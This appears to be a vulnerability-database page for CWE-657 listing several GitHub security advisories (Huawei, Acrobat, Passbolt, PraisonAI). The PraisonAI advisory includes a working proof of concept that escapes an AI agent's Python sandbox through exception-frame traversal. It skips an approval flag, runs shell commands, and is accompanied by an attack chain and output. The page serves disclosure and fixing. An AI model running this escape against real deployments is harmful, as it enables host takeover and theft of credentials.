Common Weakness Enumeration
CWE-657
DiscouragedViolation of Secure Design Principles
Abstraction: Class · Status: Draft
The product violates well-established principles for secure design.
35 vulnerabilities reference this CWE, most recent first.
GHSA-QCFV-94FJ-42JC
Vulnerability from github – Published: 2024-04-07 09:30 – Updated: 2024-08-14 21:33
VLAI
Details
Vulnerability of defects introduced in the design process in the hwnff module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2023-52714"
],
"database_specific": {
"cwe_ids": [
"CWE-657"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-07T09:15:08Z",
"severity": "HIGH"
},
"details": "Vulnerability of defects introduced in the design process in the hwnff module.\nImpact: Successful exploitation of this vulnerability may affect service confidentiality.",
"id": "GHSA-qcfv-94fj-42jc",
"modified": "2024-08-14T21:33:11Z",
"published": "2024-04-07T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52714"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2024/4"
},
{
"type": "WEB",
"url": "https://https://device.harmonyos.com/en/docs/security/update/security-bulletins-202404-0000001880501689"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QF3H-3JPX-7VJG
Vulnerability from github – Published: 2025-09-09 21:30 – Updated: 2025-09-09 21:30
VLAI
Details
Acrobat Reader versions 24.001.30254, 20.005.30774, 25.001.20672 and earlier are affected by a Violation of Secure Design Principles vulnerability that could result in a security feature bypass. Exploitation of this issue does not require user interaction, and scope is unchanged.
Severity
4.0 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-54255"
],
"database_specific": {
"cwe_ids": [
"CWE-657"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T20:15:44Z",
"severity": "MODERATE"
},
"details": "Acrobat Reader versions 24.001.30254, 20.005.30774, 25.001.20672 and earlier are affected by a Violation of Secure Design Principles vulnerability that could result in a security feature bypass. Exploitation of this issue does not require user interaction, and scope is unchanged.",
"id": "GHSA-qf3h-3jpx-7vjg",
"modified": "2025-09-09T21:30:29Z",
"published": "2025-09-09T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54255"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/acrobat/apsb25-85.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QF73-2HRX-XPRP
Vulnerability from github – Published: 2026-04-08 19:17 – Updated: 2026-04-09 14:29
VLAI
Summary
PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)
Details
Summary
execute_code() in praisonaiagents.tools.python_tools defaults to
sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a
restricted __builtins__ dict and an AST-based blocklist. The AST blocklist
embedded inside the subprocess wrapper (blocked_attrs, line 143 of
python_tools.py) contains only 11 attribute names — a strict subset of the 30+
names blocked in the direct-execution path. The four attributes that form a
frame-traversal chain out of the sandbox are all absent from the subprocess list:
| Attribute | In subprocess blocked_attrs |
In direct-mode _blocked_attrs |
|---|---|---|
__traceback__ |
NO | YES |
tb_frame |
NO | YES |
f_back |
NO | YES |
f_builtins |
NO | YES |
Chaining these attributes through a caught exception exposes the real Python
builtins dict of the subprocess wrapper frame, from which exec can be
retrieved and called under a non-blocked variable name — bypassing every
remaining security layer.
Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical
| Vector | Value | Rationale |
|---|---|---|
| AV:N | Network | execute_code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |
| AC:L | Low | No race conditions or special configuration required |
| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |
| UI:N | None | No victim interaction |
| S:C | Changed | Escapes subprocess sandbox into full host process context |
| C:H | High | Arbitrary file read, environment variable access, credential exfiltration |
| I:H | High | Arbitrary file write, arbitrary code execution on host |
| A:H | High | Can terminate processes, exhaust resources |
Affected
- Package:
praisonaiagents(PyPI) - Affected versions: all versions shipping
sandbox_mode="sandbox"(default since introduction) through 1.5.113 - Patched versions: none at time of report
- File:
praisonaiagents/tools/python_tools.py
Root Cause
Two separate blocked_attrs sets — one much weaker than the other
_validate_code_ast() (line 39, used by direct mode) blocks 30+ attributes:
# python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)
_blocked_attrs = frozenset({
'__subclasses__', '__bases__', '__mro__', '__globals__',
'__code__', '__class__', '__dict__', '__builtins__',
'__import__', '__loader__', '__spec__', '__init_subclass__',
'__set_name__', '__reduce__', '__reduce_ex__',
'__traceback__', '__qualname__', '__module__', # ← present here
'__wrapped__', '__closure__', '__annotations__',
'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
'ag_frame', 'ag_code', 'tb_frame', 'tb_next', # ← present here
'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here
'co_consts', 'co_names',
})
The subprocess wrapper script written to disk (line 143) uses a separate,
inline blocked_attrs with only 11 entries — the frame-traversal attrs are
missing:
# python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)
blocked_attrs = {
'__subclasses__', '__bases__', '__mro__', '__globals__',
'__code__', '__class__', '__dict__', '__builtins__',
'__import__', '__loader__', '__spec__'
# __traceback__, tb_frame, f_back, f_builtins — all absent
}
_safe_getattr does not protect direct dot-notation access
_safe_getattr replaces the getattr builtin and blocks attribute names
starting with _. However, it is only invoked when user code explicitly calls
getattr(obj, name). Direct attribute access (obj.attr in source) uses
Python's C-level tp_getattro slot and never passes through _safe_getattr.
The AST check is therefore the only barrier to direct attribute access, and it
is insufficient.
No text-pattern blocklist in subprocess mode
_execute_code_direct applies a text-pattern blocklist (dangerous_patterns)
as a defence-in-depth layer. _execute_code_sandboxed has no such layer —
only the AST check runs.
Proof of Concept
import os
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
from praisonaiagents.tools.python_tools import execute_code
CMD = "id" # any shell command
payload = f"""
try:
1/0
except ZeroDivisionError as e:
_p = e.__traceback__.tb_frame.f_back
_x = _p.f_builtins["exec"]
_x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",
{{"__builtins__": _p.f_builtins}})
"""
result = execute_code(code=payload)
print(result["stdout"])
Output (praisonaiagents 1.5.113, Python 3.10):
uid=1000(user) gid=1000(user) groups=1000(user)
Why each defence is bypassed:
| Layer | Status | Reason |
|---|---|---|
AST blocked_attrs |
BYPASSED | __traceback__, tb_frame, f_back, f_builtins not in 11-item subprocess list |
_safe_getattr |
BYPASSED | Only intercepts getattr() calls; dot notation uses C-level tp_getattro |
exec-by-name AST check |
BYPASSED | Called as _x(...) — func.id is '_x', not 'exec' |
| Text-pattern blocklist | N/A | Does not exist in subprocess mode |
| Subprocess process isolation | BYPASSED | Frame traversal reaches real builtins within the subprocess |
Attack Chain
execute_code(payload)
└─ _execute_code_sandboxed()
└─ subprocess: exec(user_code, safe_globals)
└─ user_code raises ZeroDivisionError
└─ e.__traceback__ ← __traceback__ not in blocked_attrs
└─ .tb_frame ← tb_frame not in blocked_attrs
└─ .f_back ← f_back not in blocked_attrs
└─ .f_builtins ← f_builtins not in blocked_attrs
└─ ["exec"] ← dict subscript, no attr check
└─ _x("import subprocess; ...")
└─ RCE
Impact
Any application that exposes execute_code to user-controlled or
LLM-generated input — including all standard PraisonAI agent deployments — is
fully compromised by a single API call:
- Arbitrary command execution on the host (in the subprocess user context)
- File system read/write — source code, credentials,
.envfiles, SSH keys - Environment variable exfiltration — API keys, secrets passed to the agent process
- Network access — outbound connections to attacker infrastructure unaffected by
env={} - Lateral movement — the subprocess inherits the host's network stack and filesystem
Suggested Fix
1. Merge blocked_attrs into a single shared constant
The subprocess wrapper must use the same attribute blocklist as the direct mode.
Replace the inline blocked_attrs in the wrapper template with the full set:
# Add to subprocess wrapper template (python_tools.py ~line 143):
blocked_attrs = {
'__subclasses__', '__bases__', '__mro__', '__globals__',
'__code__', '__class__', '__dict__', '__builtins__',
'__import__', '__loader__', '__spec__', '__init_subclass__',
'__set_name__', '__reduce__', '__reduce_ex__',
'__traceback__', '__qualname__', '__module__', # ← ADD
'__wrapped__', '__closure__', '__annotations__', # ← ADD
'gi_frame', 'gi_code', 'cr_frame', 'cr_code', # ← ADD
'ag_frame', 'ag_code', 'tb_frame', 'tb_next', # ← ADD
'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD
'co_consts', 'co_names', # ← ADD
}
2. Block all _-prefixed attribute access at AST level
_safe_getattr only covers getattr() calls. Add a blanket AST rule to block
any ast.Attribute node whose attr starts with _:
if isinstance(node, ast.Attribute) and node.attr.startswith('_'):
return f"Access to private attribute '{node.attr}' is restricted"
3. Add the text-pattern layer to subprocess mode
Mirror _execute_code_direct's dangerous_patterns check in
_execute_code_sandboxed as defence-in-depth.
References
- Affected file:
praisonaiagents/tools/python_tools.py(PyPI:praisonaiagents) - CWE-693: Protection Mechanism Failure
- CWE-657: Violation of Secure Design Principles
Severity
9.9 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.114"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.115"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39888"
],
"database_specific": {
"cwe_ids": [
"CWE-657",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T19:17:28Z",
"nvd_published_at": "2026-04-08T21:17:00Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`execute_code()` in `praisonaiagents.tools.python_tools` defaults to\n`sandbox_mode=\"sandbox\"`, which runs user code in a subprocess wrapped with a\nrestricted `__builtins__` dict and an AST-based blocklist. The AST blocklist\nembedded inside the subprocess wrapper (`blocked_attrs`, line 143 of\n`python_tools.py`) contains only 11 attribute names \u2014 a strict subset of the 30+\nnames blocked in the direct-execution path. The four attributes that form a\nframe-traversal chain out of the sandbox are all absent from the subprocess list:\n\n| Attribute | In subprocess `blocked_attrs` | In direct-mode `_blocked_attrs` |\n|---|---|---|\n| `__traceback__` | **NO** | YES |\n| `tb_frame` | **NO** | YES |\n| `f_back` | **NO** | YES |\n| `f_builtins` | **NO** | YES |\n\nChaining these attributes through a caught exception exposes the real Python\n`builtins` dict of the subprocess wrapper frame, from which `exec` can be\nretrieved and called under a non-blocked variable name \u2014 bypassing every\nremaining security layer.\n\n**Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.**\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H \u2014 9.9 Critical**\n\n| Vector | Value | Rationale |\n|---|---|---|\n| AV:N | Network | `execute_code` is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |\n| AC:L | Low | No race conditions or special configuration required |\n| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |\n| UI:N | None | No victim interaction |\n| S:C | Changed | Escapes subprocess sandbox into full host process context |\n| C:H | High | Arbitrary file read, environment variable access, credential exfiltration |\n| I:H | High | Arbitrary file write, arbitrary code execution on host |\n| A:H | High | Can terminate processes, exhaust resources |\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: all versions shipping `sandbox_mode=\"sandbox\"` (default since introduction) through **1.5.113**\n- **Patched versions**: none at time of report\n- **File**: `praisonaiagents/tools/python_tools.py`\n\n---\n\n## Root Cause\n\n### Two separate `blocked_attrs` sets \u2014 one much weaker than the other\n\n`_validate_code_ast()` (line 39, used by direct mode) blocks 30+ attributes:\n\n```python\n# python_tools.py line 52 \u2014 direct mode (FULL list, correctly includes frame attrs)\n_blocked_attrs = frozenset({\n \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027, \u0027__init_subclass__\u0027,\n \u0027__set_name__\u0027, \u0027__reduce__\u0027, \u0027__reduce_ex__\u0027,\n \u0027__traceback__\u0027, \u0027__qualname__\u0027, \u0027__module__\u0027, # \u2190 present here\n \u0027__wrapped__\u0027, \u0027__closure__\u0027, \u0027__annotations__\u0027,\n \u0027gi_frame\u0027, \u0027gi_code\u0027, \u0027cr_frame\u0027, \u0027cr_code\u0027,\n \u0027ag_frame\u0027, \u0027ag_code\u0027, \u0027tb_frame\u0027, \u0027tb_next\u0027, # \u2190 present here\n \u0027f_globals\u0027, \u0027f_locals\u0027, \u0027f_builtins\u0027, \u0027f_code\u0027, # \u2190 present here\n \u0027co_consts\u0027, \u0027co_names\u0027,\n})\n```\n\nThe subprocess wrapper script written to disk (line 143) uses a separate,\n**inline** `blocked_attrs` with only 11 entries \u2014 the frame-traversal attrs are\n**missing**:\n\n```python\n# python_tools.py line 143 \u2014 subprocess wrapper (SHORT list, MISSING frame attrs)\nblocked_attrs = {\n \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027\n # __traceback__, tb_frame, f_back, f_builtins \u2014 all absent\n}\n```\n\n### `_safe_getattr` does not protect direct dot-notation access\n\n`_safe_getattr` replaces the `getattr` builtin and blocks attribute names\nstarting with `_`. However, it is only invoked when user code explicitly calls\n`getattr(obj, name)`. Direct attribute access (`obj.attr` in source) uses\nPython\u0027s C-level `tp_getattro` slot and **never passes through `_safe_getattr`**.\nThe AST check is therefore the only barrier to direct attribute access, and it\nis insufficient.\n\n### No text-pattern blocklist in subprocess mode\n\n`_execute_code_direct` applies a text-pattern blocklist (`dangerous_patterns`)\nas a defence-in-depth layer. `_execute_code_sandboxed` has no such layer \u2014\nonly the AST check runs.\n\n---\n\n## Proof of Concept\n\n```python\nimport os\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\nfrom praisonaiagents.tools.python_tools import execute_code\n\nCMD = \"id\" # any shell command\n\npayload = f\"\"\"\ntry:\n 1/0\nexcept ZeroDivisionError as e:\n _p = e.__traceback__.tb_frame.f_back\n _x = _p.f_builtins[\"exec\"]\n _x(\"import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())\",\n {{\"__builtins__\": _p.f_builtins}})\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result[\"stdout\"])\n```\n\n**Output (praisonaiagents 1.5.113, Python 3.10):**\n\n```\nuid=1000(user) gid=1000(user) groups=1000(user)\n```\n\u003cimg width=\"775\" height=\"429\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf\" /\u003e\n\n**Why each defence is bypassed:**\n\n| Layer | Status | Reason |\n|---|---|---|\n| AST `blocked_attrs` | **BYPASSED** | `__traceback__`, `tb_frame`, `f_back`, `f_builtins` not in 11-item subprocess list |\n| `_safe_getattr` | **BYPASSED** | Only intercepts `getattr()` calls; dot notation uses C-level `tp_getattro` |\n| `exec`-by-name AST check | **BYPASSED** | Called as `_x(...)` \u2014 `func.id` is `\u0027_x\u0027`, not `\u0027exec\u0027` |\n| Text-pattern blocklist | **N/A** | Does not exist in subprocess mode |\n| Subprocess process isolation | **BYPASSED** | Frame traversal reaches real builtins *within* the subprocess |\n\n---\n\n## Attack Chain\n\n```\nexecute_code(payload)\n \u2514\u2500 _execute_code_sandboxed()\n \u2514\u2500 subprocess: exec(user_code, safe_globals)\n \u2514\u2500 user_code raises ZeroDivisionError\n \u2514\u2500 e.__traceback__ \u2190 __traceback__ not in blocked_attrs\n \u2514\u2500 .tb_frame \u2190 tb_frame not in blocked_attrs\n \u2514\u2500 .f_back \u2190 f_back not in blocked_attrs\n \u2514\u2500 .f_builtins \u2190 f_builtins not in blocked_attrs\n \u2514\u2500 [\"exec\"] \u2190 dict subscript, no attr check\n \u2514\u2500 _x(\"import subprocess; ...\")\n \u2514\u2500 RCE\n```\n\n---\n\n## Impact\n\nAny application that exposes `execute_code` to user-controlled or\nLLM-generated input \u2014 including all standard PraisonAI agent deployments \u2014 is\nfully compromised by a single API call:\n\n- **Arbitrary command execution** on the host (in the subprocess user context)\n- **File system read/write** \u2014 source code, credentials, `.env` files, SSH keys\n- **Environment variable exfiltration** \u2014 API keys, secrets passed to the agent process\n- **Network access** \u2014 outbound connections to attacker infrastructure unaffected by `env={}`\n- **Lateral movement** \u2014 the subprocess inherits the host\u0027s network stack and filesystem\n\n---\n\n## Suggested Fix\n\n### 1. Merge `blocked_attrs` into a single shared constant\n\nThe subprocess wrapper must use the same attribute blocklist as the direct mode.\nReplace the inline `blocked_attrs` in the wrapper template with the full set:\n\n```python\n# Add to subprocess wrapper template (python_tools.py ~line 143):\nblocked_attrs = {\n \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027, \u0027__init_subclass__\u0027,\n \u0027__set_name__\u0027, \u0027__reduce__\u0027, \u0027__reduce_ex__\u0027,\n \u0027__traceback__\u0027, \u0027__qualname__\u0027, \u0027__module__\u0027, # \u2190 ADD\n \u0027__wrapped__\u0027, \u0027__closure__\u0027, \u0027__annotations__\u0027, # \u2190 ADD\n \u0027gi_frame\u0027, \u0027gi_code\u0027, \u0027cr_frame\u0027, \u0027cr_code\u0027, # \u2190 ADD\n \u0027ag_frame\u0027, \u0027ag_code\u0027, \u0027tb_frame\u0027, \u0027tb_next\u0027, # \u2190 ADD\n \u0027f_globals\u0027, \u0027f_locals\u0027, \u0027f_builtins\u0027, \u0027f_code\u0027, # \u2190 ADD\n \u0027co_consts\u0027, \u0027co_names\u0027, # \u2190 ADD\n}\n```\n\n### 2. Block all `_`-prefixed attribute access at AST level\n\n`_safe_getattr` only covers `getattr()` calls. Add a blanket AST rule to block\nany `ast.Attribute` node whose `attr` starts with `_`:\n\n```python\nif isinstance(node, ast.Attribute) and node.attr.startswith(\u0027_\u0027):\n return f\"Access to private attribute \u0027{node.attr}\u0027 is restricted\"\n```\n\n### 3. Add the text-pattern layer to subprocess mode\n\nMirror `_execute_code_direct`\u0027s `dangerous_patterns` check in\n`_execute_code_sandboxed` as defence-in-depth.\n\n---\n\n## References\n\n- Affected file: `praisonaiagents/tools/python_tools.py` (PyPI: `praisonaiagents`)\n- CWE-693: Protection Mechanism Failure\n- CWE-657: Violation of Secure Design Principles",
"id": "GHSA-qf73-2hrx-xprp",
"modified": "2026-04-09T14:29:06Z",
"published": "2026-04-08T19:17:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qf73-2hrx-xprp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39888"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)"
}
GHSA-QM5V-PJ64-852J
Vulnerability from github – Published: 2024-05-20 17:09 – Updated: 2024-05-20 17:09
VLAI
Summary
Passbolt Api Tabnabbing when opening URI with menu "Open URI in a new tab"
Details
Description
A user could create and share a resource with a malicious URI. When the victim opens with menu “Open URI in a new tab” function, the malicious page has access to the window.opener object.
Impact of issue
The newly opened malicious page can for example change the window.opener.location to redirect the user to a phishing page, or call a JavaScript function served by the AppJS on the user behalf for example to try to affect the integrity of the data.
Fix
The code that opens a new window via window.open(); now open the tab with the noopener attribute.
Severity
5.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "passbolt/passbolt_api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-657"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-20T17:09:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Description\nA user could create and share a resource with a malicious URI. When the victim opens with menu \u201cOpen URI in a new tab\u201d function, the malicious page has access to the window.opener object.\n\n### Impact of issue\nThe newly opened malicious page can for example change the window.opener.location to redirect the user to a phishing page, or call a JavaScript function served by the AppJS on the user behalf for example to try to affect the integrity of the data.\n\n### Fix\nThe code that opens a new window via window.open(); now open the tab with the noopener attribute.",
"id": "GHSA-qm5v-pj64-852j",
"modified": "2024-05-20T17:09:57Z",
"published": "2024-05-20T17:09:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/passbolt/passbolt_api/commit/f568e113beb3134446eda9e66400d28d726ee20d"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/passbolt/passbolt_api/2019-08-07-3.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/passbolt/passbolt_api"
},
{
"type": "WEB",
"url": "https://www.passbolt.com/incidents/20190807_multiple_vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Passbolt Api Tabnabbing when opening URI with menu \"Open URI in a new tab\""
}
GHSA-W78X-X84G-24XJ
Vulnerability from github – Published: 2023-08-10 15:30 – Updated: 2024-04-04 06:47
VLAI
Details
Adobe Acrobat Reader versions 23.003.20244 (and earlier) and 20.005.30467 (and earlier) are affected by an Violation of Secure Design Principles vulnerability that could result in arbitrary code execution in the context of the current user by bypassing the API blacklisting feature. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2023-29320"
],
"database_specific": {
"cwe_ids": [
"CWE-657"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-10T14:15:11Z",
"severity": "HIGH"
},
"details": "Adobe Acrobat Reader versions 23.003.20244 (and earlier) and 20.005.30467 (and earlier) are affected by an Violation of Secure Design Principles vulnerability that could result in arbitrary code execution in the context of the current user by bypassing the API blacklisting feature. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-w78x-x84g-24xj",
"modified": "2024-04-04T06:47:19Z",
"published": "2023-08-10T15:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29320"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/acrobat/apsb23-30.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.